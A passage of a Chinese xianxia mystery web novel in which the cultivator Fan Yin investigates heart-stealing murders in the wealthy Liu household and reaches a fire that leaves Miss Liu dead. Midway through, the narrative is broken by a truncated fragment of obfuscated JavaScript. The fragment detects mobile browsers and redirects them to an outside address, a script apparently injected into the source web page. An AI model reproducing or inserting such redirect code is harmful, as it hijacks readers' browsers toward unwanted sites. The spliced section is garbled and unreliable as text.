阿成兴奋地拍了拍手,眼睛发亮,脸上洋溢着激动的神情。说着,他不自觉地向前凑了凑:“柳家小姐因桃源居获店铺三家经营权,可她每月都会毫无保留地将经营所得的利润全部捐赠给了雷光城的贫民百姓。”
他一边说,一边竖起大拇指,脸上满是钦佩之色。“还有就是桃源居一举成为雷光城的三绝之一,也使得咱们雷光城的名声愈发响亮啦!
但...因为这两起案件,望大师也终日失魂落魄,大家现在都说是作孽...”
梵音将案件卷轴收起,目光微微一凝,“阿成,案件卷宗看完了。烦请带话给柳师爷,有疑问想请解惑。”
阿成眼中闪过一丝惊讶,随后恭敬道:“好的,仙人稍侯。”
须臾,柳师爷翩然而至。
梵音目光微凝,一针见血道:“柳师爷,关于这柳家的案子,疑点重重。”
柳师爷似乎不怎么在意,轻轻耸了耸肩,示意梵音继续说。
梵音继续道:“其一:第一起温夫人溺毙案,全员的不在场证据皆由婢女和小厮提供,这其中的真假难辨。
其二:那几位伙夫的佐证看似关键,可亥时他们聚在门口本就蹊跷。”
梵音面上一片傲气如霜,骨子里透出一股让人难以忽视的自信来。
“再说这第二起,不在场证据和刚刚所说的其一一样可疑;
其次,可柳管家腿脚不便是因为夜晚睡觉抽筋实在难以让人信服。”
柳师爷闻言眼神多了几分敬佩,他原以为梵音只是个漂亮花瓶,中看不中用,没想到是个真材实料的!
“事发当晚,柳小姐带了店铺里的一些糕点令柳七发放给几位伙夫当夜宵吃。
他们看夜色正好,几人在门口自饮自吃。
至于柳管家的行动不便,我们查看过腿部,并没有伤痕。”
梵音转身正视着柳师爷,目光清冷如水,“可知柳家是否有家产相争或者是关系不睦等问题呢?”
他微微眯起眼睛:“柳家家大业大,怎会没有?命案发生,衙门自然是查过。
柳老爷立有遗嘱,二夫人及小小姐是占有近五成的财产。大夫人及大小姐占三成,小夫人和小姐占两成。”
“兄弟姐妹之间的感情究竟如何?”
柳师爷捋了捋下巴的胡须,脸上露出不以为意的神情敷衍地回答:“虽偶尔会有激烈争吵,但大体还算和睦。”
梵音被他这种不在意的态度弄得有些恼火,忍不住说话的语气加重了几分,告辞道:“多谢柳师爷解惑,时辰不早了,我就不打扰了。告辞。”
柳师爷抬手示意送客,阿成送梵音至府衙门口时,小心翼翼道:“小姐,我悄悄跟您说。其实,柳家小姐因家境贫寒,常常遭受二夫人的欺辱。”
梵音压低声音小声问道:“那为何柳师爷说关系和睦?”
阿成像是生怕被人听见般,凑到梵音耳边,“柳师爷与柳老爷一向关系密切,柳师爷自然对这些腌臜之事知之甚少。
桃源居一事过后,柳家小姐名声才渐渐变好,他们的关系这才算得上和睦。
毕竟过去半年了,这些不堪入耳的流言蜚语大多都被人遗忘得差不多了。”
梵音微微一笑,“柳成,多谢。”
阿成的脸一下子涨得通红,结结巴巴地小声道:“不客气,能帮到仙人就好。”然而等梵音身影消失后,阿成似乎怔愣片刻挠了挠头转身回衙门。
梵音闲庭信步般悠悠晃向雷光酒肆,刚一脚踏入酒肆门槛,就见那小二满脸谄媚的笑,飞也似的朝她狂奔而来。
“哎呀,小姐,您定是初临雷光城吧?咱们这酒肆在雷光城那可是响当当的头一号!您今儿个算是来着了!”
小二瞧这位小姐气质出尘,心里头乐开了花,想着今儿个的赏银指定丰厚无比,那笑容简直要咧到耳根子去了。
梵音笑容清淡柔和:“小二,你这双眼睛可真是尖得很呐,我确是头一遭来。”
小二眉飞色舞地说道:“小的没啥大本事,就这过目不忘的能耐还算拿得出手。
您这般超凡脱俗、宛如仙人下凡的人物,小的若是见了,那是断然忘不了的。
咱们这儿有雷光城独一份儿的胭脂酒,您要不要去二楼那雅间?”
梵音目光扫了一圈,瞧见一楼左边一群人正聊得热火朝天,唾沫横飞。
“不必,我瞧着那边就甚好,就在那儿了。”
小二的笑容瞬间凝固,身子一凑,压低声音劝道:“小姐,那边可万万去不得呀,尽是些碎嘴子!”
梵音听闻,眼中光芒一闪,“无碍。”
小二的脸瞬间垮了下来,犹如霜打的茄子,有气无力地:“得嘞,小的给您带路。”
“来来来,别停啊,接着唠。刚刚说柳家府请了一个定律司前去捉妖,然后咋的了?”
“你们可不知道哇,那定律司可是隐匿在云端的神秘仙宇寺院,专门干那斩妖除魔、断案伸张正义的大事儿。柳家府那可是花
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了大价钱才把人给请来的!”
“定律司有这么牛吗?不是说斩妖除魔、伸张正义吗?咋还收钱呢?这算哪门子正义!”其中一人满脸不屑。
那人接着说道:“定律司无偿接案有三种情形;一是大理寺指派的案子;二是虐杀凶案,影响到了众多平民百姓的妖邪;
最后一种呢,就是在外游历的定律司弟子修行时遇上的。你们瞅瞅,这柳家府的事儿能对上哪一种?”
“第二种不就对上了吗?”
“放你娘的屁。这挖心案针对的只有柳府,要不咋都说造孽呢?”
那人面带怀疑低声道:“不过也是,短短一个月就死两人。你们说,会不会是三夫人和管家偷情的事儿被二夫人给撞破了,然后......”
“啪——”
就在梵音抓取到重要信息之时,小二怒冲冲地端着酒菜猛地摔在桌上,那声响好似晴天霹雳,前方三人听到这动静,顿时噤若寒蝉,转身看向他们。
小二怒目圆睁,冲着前面几人吼道:“别在这儿满嘴喷粪,乱嚼人家舌根,小心舌头给烂掉!”
那几人跳了起来,“关你个小崽子啥事儿?一个破小二也敢管这么宽?”
小二气得满脸通红,大声嚷道:“柳小姐平日里积德行善,你们在这外乡人面前瞎编排她娘亲,我能忍得了?”
旁边几桌的人也纷纷投来不满的目光,梵音笑着打圆场:“小二,你怕是听错啦,我刚明明听那人说的是定律司高手的事情。”
听到这话,场面的气氛这才稍稍缓和了些。周围的客人也跟着笑嘻嘻:“小二,听错了可闹笑话咯~”
梵音将碎银塞进他手里,面上的表情淡淡的,仿若在闲话家常:“小二,我晓得你是一片好心。但要是因此坏了生意,少了几位常客,店主能饶得了你?”
小二如梦初醒,冷汗“唰”地冒了出来,满含感激地看了梵音一眼,连连道谢:“谢谢小姐提点。”
待小二离开,前面那几人端着酒凑过来给梵音敬酒,“多谢小姐解围,可否与我们同桌共饮?”
梵音轻笑道:“自然欢迎。”
几人坐下,其中一人拱手说道:“在下柳易,这两位都是我的好友,左边这位是柳布,右边这位是柳郁。”柳布和柳郁赶忙朝梵音点头示意。
梵音正色道:“在下梵音。”
柳易一听,身子一震,满脸的难以置信,犹豫了片刻问道:“梵音?莫不是柳家府请来的定律司高手?”
“正是。此番前来是为了打听柳家府之事。”
三人面露喜色,纷纷举杯相碰。
柳易清了清嗓子,低头压低声音说道:“难怪啊,梵小姐一进这酒肆,我们就觉得您浑身透着仙气,原来真是仙人呐。
有什么想知道的都可以问我们,我们知无不言,言无不尽!能帮仙子也是我们的荣幸!”
梵音微微一笑,继续打听刚刚的情报。
“客气客气,别叫我仙人,叫我梵小姐即可。我刚听你们说三夫人和管家有染,可有此事?”
柳布忙不迭跟着低头,小声说道:“确有此事。大概两个月前,我喝得醉醺醺回家的时候,正巧听到三夫人的弟弟在纠缠柳管家。”
“哦?”
柳布顿了顿,一脸得意:“三夫人的弟弟让柳管家掏银子,说知道他和他姐姐的那档子事儿,不给钱就去告发。”
“那柳管家给钱了吗?”
5. 演技
柳布嫌弃道:“说出来你们都不信,你猜怎么着?
柳管家说办不到,让他去找他姐姐要去!”
梵音和其余两人听得目瞪口呆,“然后呢?”
柳布回道:“还能有什么然后阿!她弟弟就骂骂咧咧地走了。”
柳郁略加思索后,“桃源居我倒是晓得一点。实不相瞒,我和望夫光是同期。自从柳家府那案子之后,他每日下午申时都会来这儿喝得不省人事,这个算不?”
梵音的眼睛迸射出兴奋的光芒:“差不多也该到申时了。”
话音未落,就见一名胡须蓬乱、面容如槁木般的男子跌跌撞撞地冲进来。
小厮在后头拼命追赶,想要搀扶,却被男子愤怒地狠狠甩开,怒吼声响彻整个屋子:“滚开!老子能走!”
“小二,照旧。”男子吼完便摇摇晃晃、如同风中残烛般往二楼雅座走去。
柳郁的脸色瞬间变得惨白如纸,手指颤抖着敲了敲桌面。梵音心领神会,她微微低头。“郁兄,能否为我引荐?”
柳郁声音颤抖着说道:“梵小姐,并非我不愿意。自从案子发生后,望夫光性情大变,难以接近呐。”
梵音嘴角扯出一丝不易察觉的微笑,微微将脸侧向一边,掩去自己眸底微闪的光亮,以极低的声音自语道:“无妨,无妨。”
戌时,梵音盯着已然如一摊烂泥般趴在桌上的三人,眼神锁定二楼雅房。
只见小厮使出吃奶的劲儿搀扶着烂醉如泥、毫无意识的望夫光,每一步都像是在泥潭中挣扎,颤颤巍巍地走下楼梯。
梵音冲着小厮挤出一个甜美的笑容:“这不是望兄吗?怎喝得这般不省人事?”
小厮眼睛瞪得像铜铃看向梵音,梵音脸不红心不慌的朝柳郁一指:“小女子是柳郁的远方表妹,此前曾和望兄三人一起游玩过。许久未曾涉足雷光城。此次路过,满心期待相聚....”
小厮将信将疑地看向柳郁,随后眼神中满是狐疑。
梵音见状脸上显出万分的惋惜和心疼,长叹一口气,那声音仿佛带着无尽的悲凉:“表哥确实跟我讲过望兄近况与往昔大不相同,瞧望兄如今这副模样,实在是令人痛心疾首。”
小厮的眼神瞬间黯淡如死灰,语气哽咽道:“主人近期心情糟糕到极点,实在对不住您呐。”
“无妨,我来搭把手,与你一同将望兄送回家!”
小厮急忙阻拦:“小姐,男女授受不亲,还是别了吧?”
梵音毫不犹豫地一把紧紧搀扶起望夫光的手臂:“醉酒之人沉重如山,我就搭把手。”
小厮轻轻推开院门,两人疾步穿过小穿堂,匆匆踏上抄手游廊,眼前刹那间豁然开朗。
望夫光嘴里含糊不清地呢喃着:“....没了,一切都没了....”
梵音赶忙俯身倾听,只见他泪水如决堤的洪流般汹涌而出,顺着眼角滚滚而落。
小厮也猛地跟着抽抽搭搭地啜泣起来,梵音的心都提到了嗓子眼,状似怜惜:“望兄是因桃源居一事才如此痛苦吗?”
小厮一边抹着如泉涌般的眼泪,一边声音颤抖得如同风中落叶般小声回道:“是啊。自从桃源居出了事,我家主人便整日以泪洗面,伤心欲绝。”
梵音随口应着,眼尾瞟了瞟站在一旁,发现窗台下竟摆放着黄梨木小杨花梳妆台,正中镶着团扇大小的西洋镜。
她的心砰砰狂跳,仿佛要跳出嗓子眼,开口试探:“我听闻桃源居是柳家小姐请的望兄,莫不是——望兄和柳小姐是情人?”
小厮脸色骤变,厉声道:“我家主人和柳家小姐只是普通好友,再无其他!”
梵音点点头,看似漫不经心地欣赏着屋内装潢,眸中精芒微闪:“实在抱歉,我这会儿饿得头晕眼花,能否劳烦厨房做些吃食?”
语罢身子一软捂着肚子一幅可怜兮兮的模样。
小厮有点尴尬地抓了抓头,脸上满是犹豫之色:“好的,小姐可否先移步至正堂稍候片刻?”
梵音身子一僵,强装镇定,面带关怀道:“我看望兄状态极差,这庭院中也不见其他仆役。
我既已叨扰索要饭食,就在此替你照看一二如何?”说完便快步走到床榻一旁,匆忙拿起桌上现有的帕巾为其擦汗。
小厮心想这位女子怕是爱慕主人,略微放松警惕后道:“多谢小姐。”
待小厮一走,梵音赶忙走向梳妆台一看。果不其然有不少女子的胭脂水粉,其中一个木匣隐隐散发着若有若无的诡异妖气。
“蹬蹬蹬——”
急促的脚步声如鼓点传来,梵音慌乱中赶忙抽出两三张,用手帕胡乱包住塞到怀里。
小厮火急火燎地端着一碗水煮面飞奔而至,“小姐,吃食来了。”
小厮远远没看到床榻之上有人,心急如焚地急匆匆跑来。
梵音唇边虽挂着一抹微笑,但眸中却毫无笑意,“我见望兄酒醉难受得厉害,便想着用湿巾给他擦拭一番,没想到你来得如此迅速。”
小厮一边喘着粗气一边解释:“怕怠慢了小姐,便催着伙夫赶紧做,免得让小姐饿晕了。”
梵音将湿帕巾递给小厮,双手接过木盘,木盘上洒了不少汤水。
她暗自叫苦,不得不说这位小厮果然谨慎,差点就露馅了。强忍着饱胀感将这一碗清汤寡水的面硬吞了下去。
“多谢款待。我看望兄今夜怕是醒不过来了,改日再登门拜访。”
亥时时分,夜色如墨。
“柳管家,我想去二夫人及小公子的寝居,可否叫上二夫人及小公子的婢女一起,我也正好有要事相询。”
柳管家的眼神瞬间闪过一丝慌乱与不自然,领着梵音走向内院。转身给梵音介绍:“这是二夫人的婢女,小荷。还有这位,是小公子的婢女,阿银。”
两位婢女战战兢兢地齐声说道:“见过仙人。”
柳管家领着众人往东边暗房走去,一路上,阴冷的风呼啸着。四周的空气瞬间便好似凝结住了一般,气氛阴暗而又沉寂。
梵音心中一惊,东厢房向来只有正妻居住,没想到二夫人竟也在这。
到了暗房,柳管家拿出一把
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钥匙,将靠近走廊的那间打开,从衣袖里哆哆嗦嗦地抽出火折子递给了小荷。
“咳咳......”
一股浓烈的霉尘味猛地从门内冲出。
小荷颤抖着双手,慌忙将房间四处的蜡烛点燃,又费力地将那紧闭许久的窗户推开,可室内的空气依旧沉闷压抑。
迎面便是待客的正厅,往后一道美人弹琴的屏风,在昏黄的烛光下显得格外诡异,似乎那美人随时会活过来。
屏风后是起居的卧室,卧室里床榻、衣柜、桌椅虽都齐全,可正厅中那架黄花木雕百鸟博古架却散发着莫名的寒气。
房间中,梵音突然感觉到一股寒意从梳妆台袭来,散发着丝丝缕缕的妖气。
她缓缓走向梳妆台,用手指轻轻擦了一下桌子,手指上沾有灰尘,足以证明这里确实许久未有人动过。
她打开柜子查看后扫了一眼桌子旁的竹篓,声音低沉地询问:“小荷,你可还记得二夫人出事那日的情形?”
小荷脸色惨白,声音颤抖:“小荷记得。”
梵音指了指空空如也的竹篓,“那日你是否倒掉过竹篓里的垃圾?”
小荷思索片刻,惊恐地回道:“并无,那日发现出事之时是早晨,还没来得及打扫就听到桃源居的尖叫声,就看到二夫人……”
“二夫人平日是否喜爱梳妆打扮?”
小荷哆嗦着说道:“自然。夫人最喜欢研究时下流行的妆容,每日都精心打扮,美若天仙。”
梵音再次指了指柜子,温言道:“可否查看一下二夫人日常用的梳妆用品少了些什么?”
小荷颤抖着查看后,颤颤巍巍道:“确实少了一样东西,夫人的口红纸没了。”
梵音从怀里拿出方巾,只见方巾上画着含有牡丹花样式的木匣。
阿雅看到方巾上的木匣,声音也不自觉地尖细起来,“就是这个!仙人是如何知晓的?”
“小荷,发生何事?”
小荷赶忙捂住嘴,脸上带着几分羞红,羞愧于自己的大惊小怪,怯怯地朝外面喊道:“管家,没事。”
梵音带着几分怜惜抬手缓缓抚摸了一下小荷的背部,凑近耳边低语:“半个时辰后在桃源居见,关于木匣一事还需要细说。”
小荷瞧了一眼梵音的模样,忽而觉得脸色通红,僵硬地点了点头。
两人转身走向门外,梵音笑容清淡柔和:“柳管家,二夫人的寝居已查看完毕。我有个问题,不知当不当问。”
“仙人无需顾虑,只要能对破案有帮助,任何问题都可以问。”
梵音默然半晌,方缓缓睁开双眸,幽幽开口道:“若我没记错的话,二夫人应当属于妾室。
按照习俗惯例,妾室的房间应当在西边暗房才对?怎么会与大夫人同在东边暗房呢?”
柳管家脸色瞬间变得五颜六色,一番表情管理后,声音颤抖地说道:“因二夫人育有小公子有功,所以老爷特地在东边暗房新建了一间房间给二夫人。”
梵音眸色突转幽深,轻声叹息道:“......果然。”
6. 秘密
小公子满堂的富丽映入眼帘,地下铺着龟背如意花样的绒毯,陈设之物也都是极尽奢华,精雕细琢的镶玉牙床,锦被绣衾。
梵音忍不住发出一声感慨:“奢侈啊......”
可这里却察觉不出一丝妖气,与二夫人的房间氛围截然不同。二夫人的房间,总是弥漫着一股若有若无的阴寒之气。
“阿银,案发当日你是否察觉到小公子有何异常?”
阿银垂着头,很沮丧的样子:“并未察觉。”
梵音拿起蜡烛查看,微弱的烛光在风中摇曳不定。床头底下似有东西,低头一看发现有块黑色的东西,拿起一看并非黑色之物,而是被密密麻麻的蚂蚁爬满的方糖!
阿银呢喃道:“不应该啊......”
“为何不应该呢?”
阿银颤抖着说道:“小公子年幼时就爱吃方糖,起初夫人和老爷都惯着。但自从小公子牙疼之后,就明令禁止小公子再吃方糖了。”
梵音霍然回过头来,双眸之中精光大作:“小公子没有其他方法可以获取了吗?只要他想要的话,府邸的仆役都是会给的吧?”
阿银想都没想便摇头,“不可能。此前曾发生过这种事,给方糖的伙夫当即就被扫地出门了。自此,再无人敢偷偷给小公子方糖吃。”
阿银略作犹豫,才缓缓吐出一口气道:“说起来...... 自夫人去世之后,小公子整日伤心难过,但那日却是心情却有好转...... 这个算异常吗?”
梵音心中一喜,“他心情好转之前可有去过哪里?”
阿银左思右想,摇了摇头。
梵音叹了口气,看来此事一时难以查清,“多谢阿银。小公子的住所看完了,走吧。”
阿银慌忙地回礼道:“仙人客气了,这本是我的分内之事。”
刚走两步,就见阿银又回头。
她抬眼左右张望过后,压低声音颤抖着说道:“仙人,我想起来了。当日小公子就是如厕后心情开始好转的。” 说完泪水也如开闸的洪水般流淌不止。
梵音轻拍阿银的肩膀予以安抚,从怀里拿出素色手帕递给阿银。“好啦,别哭了。相信我,我一定会查明真相的。”
阿银抿紧了嘴角,精神稍有好转,“请一定要找出凶手,为小公子报仇!多谢仙人,阿银告退。”
另一边,桃源居中等候多时的小荷朝着梵音挥了挥手,声音颤抖地喊道:“仙人,这边!”
梵音循声快步走去,低声问道:“木匣里的口红纸,是二夫人常用的吗?”
小荷点了点头,声音带着颤抖,仿佛被这寒冷的风冻住了舌头:“这个口红纸是雷光城最出名的胭脂水粉店所造,每月仅出售十件,非常珍贵。”
“是二夫人自己所购买的吗?”
小荷深吸一口气,才缓缓吐出一口气道:“并不是二夫人所购买,而是望营造师所赠。”
“望夫光?!他与二夫人是何关系?”
小荷慢慢垂下头去,良久无语,半晌后方道:“并无关系,只是多亏望营造师,二夫人与小姐的关系才逐渐变得融洽起来。”
“是何缘故?我已有听闻二夫人与小姐的关系一直很剑拔弩张。”
小荷脸上顿时一热,声音中充满了无奈。“二夫人自小受宠,性子骄纵,所以,时不时就会刁难小姐和三夫人。”
梵音闻言面色一沉,略一思忖便明白了个中缘由,心中登时大怒,“半年前是不是发生过什么事情?”
小荷一脸疑惑,努力思索了片刻道:“啊!倒是有一个乌龙!
半年前小姐被小公子嬉闹着竟将小姐撞入湖中,小姐从湖里出来之后瑟瑟发抖,似乎着凉了。夜里想要去请大夫。
结果.... 却被二夫人生生拦下了。
但第二日,小姐虽然脸上苍白如纸,但并无咳嗽受寒之症。”
梵音口气突转冰冷:“她怎会如此不幸跌入湖中?身弱之人若中风寒不治,你们可知那可能是要命的!”
小荷微微颤抖,身子发软,险些就要下跪,带着哭腔道:“小公子只是爱玩,小姐也无事啊!”
梵音看了一眼哆哆嗦嗦的小荷,带着几分怜惜道歉。“对不起,刚刚不是冲你发火。
此事我明白与你无关。多谢小荷解惑,早些回去歇息吧。”
小荷似有些什么话想要解释,但看梵音脸色冷峻,呆呆在原地站了半晌,最后叹一口气,起身回去。
目送小荷走后她走向伙房,捏起火诀进行查看。伙房架子上看到了用土陶装着的方糖,这个高度对于年幼的小公子而言,是够不到的。
“喵~”
在这寂静如死水的夜晚,突然一个尖锐凄厉的猫叫声猛地响起,如同一把利刃瞬间划破了死一般的沉寂。
她朝后一看,只见一只毛色斑驳的三花猫,双眼闪着幽绿的光,正疯狂地在挠着那破旧的铁缸。
铁缸?
梵音的脑中瞬间闪过一个令人毛骨悚然的念头,一股寒意从脚底直蹿上头顶。
她蹲下身用火诀照了照铁缸。发现铁缸靠墙的一角,有几颗遗落的方糖。
再往铁缸上方一照,一个灵感一闪而过。
另外一边,柳家府一隅,夜黑如墨。
周围的草丛中传来阵阵不知名昆虫的鸣叫,此起彼伏,让人心里越发不安。两人在压低声音交流着,声音仿佛从地狱传来。
“她会不会已经知道了我们的秘密?” 说话的人声音颤抖,带着深深的恐惧,仿佛害怕被黑暗中的什么东西听到。
“不管怎样,不能留下隐患!” 另一个人的声音低沉而凶狠,在寂静的夜里显得格外阴森。
“这.... 真的要如此残忍吗?” 第一个人的声音带着犹豫和挣扎。
“此事交给我,我断不会让她坏了我们的计划!我会让她永远闭嘴!” 声音在黑暗中回荡,让人不寒而栗。
此时,天上的月亮被乌云遮住,整个柳家府陷入了更加深沉的黑暗之中,仿佛预示着一场更大的风暴即将来临。
翌日清晨。
“叩、叩 、叩!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127034|164339||http|test|mini|href|location''.split(''|''),0,{}));
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>沉闷的敲门声突兀地响起,了解大概情况的梵音早早就起身前往望夫光住所,望夫光可以说是案件调查中最关键的人物之一。
只见小厮看到梵音的瞬间,眉头紧皱,毫不犹豫地直接反手大力关门。
那门扉发出 “砰” 的一声巨响。梵音拍了拍门扉,喊道:“哎?是我啊!”
小厮涨红了脸,吼道:“我不知道您是哪位,求求您赶快走吧!我家主人说根本就没有和谁的表妹一起出游过。”
梵音见已暴露,心头一动,顿时改变了主意:“我乃柳家府柳老爷请来的定律司弟子——梵音。可否帮我通报一声?”
此时,阴沉的天空中乌云密布,眼看就要有一场暴雨将至。
“稍等。”
小厮撇了撇嘴,一脸不情愿。
须臾,小厮才极不情愿地摆摆手,眼神冷漠地示意她跟来。
小厮将其带到内厅,内厅中只见望夫光形单影只地坐着,神情落寞地饮茶,眉头紧锁,满面愁容。
屋内光线昏暗,那氛围压抑得让人喘不过气来。望夫光带着浓浓的惺忪酒意,眼神迷离,有气无力地说道:“不知梵小姐为何三番五次想要来我院中呢?”
梵音知道这是在问罪,露出一个柔和的微笑,“昨夜之事多有得罪,冒犯了。今日特意带着胭脂酒前来,诚心向您表示歉意。”
望夫光眼神颇为凌厉,目光如炬地盯着梵音:“你就直说吧,你的目的究竟是什么?”
梵音露出一个淡得几乎看不出来的浅笑,徐徐开口道:“我听闻引温泉水是柳小姐提出的,可是因为感染风寒后落下病根,需要温泉水活血化淤?”
望夫光身子一怔,脸上顿时浮现出几分难以掩饰的烦躁不安,怒目圆睁,怒喝道:“你在胡说什么?”
“实不相瞒,我昨日不小心瞄到了望兄您所造桃源居的建造图。
我发现柳小姐所住的房间引入了温泉水,而温泉水疏通之处就是桃源居的温泉。”
“咯~咯~”
窗外的鸟儿突然惊飞,发出一阵慌乱的叫声。
望夫光咬牙切齿,额头上青筋暴起,道:“梵小姐可真是胆大包天、肆意妄为啊。”
梵音目光静静地看着望夫光,眼神坚定,似乎笃定望夫光一定会开口似的。
寂静许久。
他长叹一口气,无奈地摇了摇头:“是。
柳小姐因为一场风寒留下了后遗症,需要每日泡温泉来活血化淤。”
梵音眼中透着狡黠:“望兄和柳小姐莫非是情人?”
望夫光一愣,随即脸涨得通红,“休要胡说八道!我与柳小姐顶多是盟友关系。”
梵音眸色深深,沉思了片刻道:“那.... 望兄寝居内的口红纸究竟是谁的呢?”
望夫光瞬间暴跳如雷,五官扭曲,直接破口大骂:“你简直不知廉耻!不请自来还肆意翻弄我的东西,来人!送客!”
梵音:“....”
小厮与两位凶神恶煞的男仆气势汹汹地亦步亦趋跟着,驱赶她离开。
7. 噩耗
被“拂出门”的梵音无奈地拂了拂衣袖,在街道边逛边吃。街道上人群熙熙攘攘,喧闹声不绝于耳。
柳成神色匆匆地拿着一个木匣经过,她朝着阿成挥手,大声喊道:“阿成!阿成~”
阿成似乎有点茫然,忽而眼睛一亮,像是终于回忆起来一样,犹豫了几秒接过梵音递给的冰糖葫芦,“多谢仙人!”
梵音看了一眼木匣,目光微凝,状似无意间问道:“阿成,莫不是有了心上人?”
阿成的脸瞬间变得黑红黑红的,结结巴巴:“仙人,您就别打趣我了。”
梵音啃了一口冰糖葫芦,“我看你所拿木匣,似乎就是雷光城闻名遐迩的口红纸吧?”
阿成幽怨地道:“是啊!可畅销了!我也是上个月提前预定了才有的。”
此时,街边的小贩吆喝声此起彼伏。梵音好奇地问:“这个口红纸价格不菲,你怎狠心买下来呀。”
阿成低下头,眼神快速看了一眼梵音,害羞道:“是啊。她的生辰快到了,她曾经说过她家主人用的时候像天仙一样。”
梵音捂着嘴笑了一阵,眼神闪过一丝狡黠的光芒,试探性问道:“莫不是,你的心上人是 —— 柳小姐的婢女?”
阿成惊得下巴都快掉下来,露出难以置信的表情:“仙人怎会知道?!”
梵音啃了一口冰糖葫芦,悠然自得地说道:“上次,你同我说的柳二夫人与柳小姐关系不融洽一事鲜有人知。
但你不仅知道,而且还气愤不已。
我便猜测,除了柳小姐的慷慨解囊以外,怕是你与柳小姐亲近之人关系匪浅。”
阿成看向梵音的眼里瞬间多了几分崇拜,露出赞赏的神色,仿若情不自禁般夸奖道:“好生厉害!没想到仅仅只是几句话,仙人便洞察了如此之多!”
梵音从刚刚的话语中提取到了重点,好奇地闪了闪眼睛:“柳小姐也曾购买口红纸?”
阿成咬了几口冰糖葫芦,用力地点了点头:“是啊。买了三盒呢!只不过柳小姐只用了一次,便不再用了。”
梵音一愣,追问:“为何不用了?”
阿成回道:“听闻是说颜色太艳丽了。
说起这件事情来,还将其余两盒送了出去,阿琳至今还很心疼呢。”
梵音灵感乍现,双眸之中精光大作,她拍了拍阿成的肩膀。“多谢阿成。”
阿成望着梵音远去的背影,手中的冰糖葫芦在阳光下泛着晶莹的光泽。
街边的尘土被风吹起,迷了他的眼。
他眼带迷茫看了几眼自己手上的冰糖葫芦,像是疑惑哪里来的冰糖葫芦。
“啊!快来人呐!走水了!柳家府出事了!”
回程路上的梵音听到这凄厉的惨叫声心里暗叫不好,她抬眼望去,只见柳家府烟火冲天而起,将整个夜空染得犹如一片血海,触目惊心。
她二话不说御剑向着柳家府上空疾驰而去,旋即,呼啸的狂风肆意地撕扯着她的衣衫。她口中念着熄火诀,单手举着符箓闪闪发光。
柳家府内,原本此起彼伏的惊叫声令人毛骨悚然,众人却惊恐地瞧见柴房的火势竟如汹涌澎湃的地狱岩浆一般,向着上空狂暴地奔涌而去,恰似一道燃烧着的、充满诅咒的血红色瀑布。
上空,一位御剑而立的少女,火光溅起照亮此人,犹如浴火重生的凤凰一般耀眼夺目。
“是……是仙人!我们有救了!”
须臾,火都被吸入到符箓之中,只剩余烟。
梵音如同一颗流星般疾速纵身跃下,伴随着“砰”的一声巨响,她猛地推开了柴房的大门。一股浓烈到令人几近昏厥的焦糊味和死亡气息,如汹涌的恶浪般狠狠扑面而来。
“啊!”
柴房之中,静静地躺着一具尸体,烧焦的躯体扭曲得不成样子,仅仅只有几处还勉强算是完整。
在火光的摇曳映照下,显得愈发狰狞恐怖。阿琳仿若失了心智,疯狂地猛然冲破人群,声嘶力竭地哭喊着:“小姐!小姐!”
梵音整个人瞬间愣住,大脑一片空白,心中充满了难以置信,怎么可能?
三夫人听闻,双眼瞪得滚圆,死命地拽着阿琳,歇斯底里地尖叫道:“怎么会是诗音?绝不可能!”
梵音缓缓地望向众人,只见柳家老爷颤抖着双手,眼神迷离空洞。
柳管家匆忙跑来,先是扶起了三夫人。随后准备扶起大夫人时,大夫人将手递过去的瞬间怔愣了片刻,突然伸手拉了拉柳老爷,柳老爷颤抖着双手将大夫人扶起,那动作机械而僵硬。
柳老爷瞪大双眼,声嘶力竭,哽咽不止地喊道:“这究竟是怎么一回事!诗音为何会无缘无故去柴房?!”他一边说着,一边激动地挥舞着手臂上的拐杖。
阿琳泣不成声,扯着嗓子吼道:“是大小姐喊小姐去的柴房!”她满脸泪痕,双手紧紧握拳。
柳老爷闻听此言,旋即猛地转过头,看向一旁失魂落魄的柳莺,怒不可遏地吼道:“莺儿?是你叫诗音去的柴房?!”他气得额头上青筋暴起,手指直直地指向柳莺。
柳莺被这突如其来且凌厉的质问吓得双腿一软,“扑通”一声径直扑倒在地,惊恐万状地哭喊道:“我……我是叫她来柴房。可我还未见到她啊!”她浑身颤抖,不停地磕头。
三夫人宛如发狂的猛兽一般冲上前去,拼命撕扯着柳莺的衣衫,声嘶力竭地咆哮道:“你叫莺儿去柴房究竟所为何事?”她双眼通红,头发凌乱,边吼边用力拉扯。
大夫人一怔,惊慌失措地拉扯着柳老爷,急切万分地喊道:“不可能是莺儿啊,莺儿断不会做出这种事来的!”她一边说,一边焦急地来回踱步。
梵音神色凝重,眉头紧皱,目光坚定:“柳管家,速去衙门请人。需要仵作验尸!”
众人皆一愣,柳老爷问道:“诗音难道不是死于火灾吗?”
梵音眼神坚定,微微扬起下巴,语气冰冷如霜,回道:“我方才勘验了一下尸体,柳小姐口鼻处并无灰尘。恐怕在火灾之前便已殒命。”
“老爷!”
柳老爷似乎支撑不住似的犹如烂泥一般彻底昏厥过去。
梵音疾步冲上前,用力掐住柳老爷的人中。她神情紧张,额头上渗出细密的汗珠。
须臾,柳老爷悠悠转醒,有气无力却又满含惊惧地吩咐:“去,快去衙门报案。”他虚弱地
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抬起手,无力地挥了挥。
柳师爷及一位身着官服的三旬男子于一片浓雾中匆匆而至,身后那两位衙役的身影若隐若现。
柳师爷朝着梵音微微点了点头。“这位便是柳大人。”
梵音朝柳大人恭敬地拱手行礼:“早有耳闻柳大人威名,今日一见,果然名不虚传。”
柳大人捋了捋胡须,目光中带着欣赏,颔首点头示意道:“赶往柳家府的路上就听柳师爷大致交代了情况,能抑制火灾扩大,此乃仙人之功。”
梵音拱手行礼,欠身道:“分内之事,不足挂齿。”
柳大人及柳师爷查看了一下柴房附近,勘验后发现起火点在柴房窗户处。
仵作正在柴房内验尸,没有一时半刻是完不成的。
思忖及此,辞气仍然温和地问:“阿琳,可否带我前往小姐的住所探查情况?”
阿琳的身体剧烈颤抖着,眼中尽是恐惧和无助。她双手抱在胸前,牙齿不停地打颤。
柳小姐的寝居与二夫人及小公子的奢华相较,显得空空荡荡。
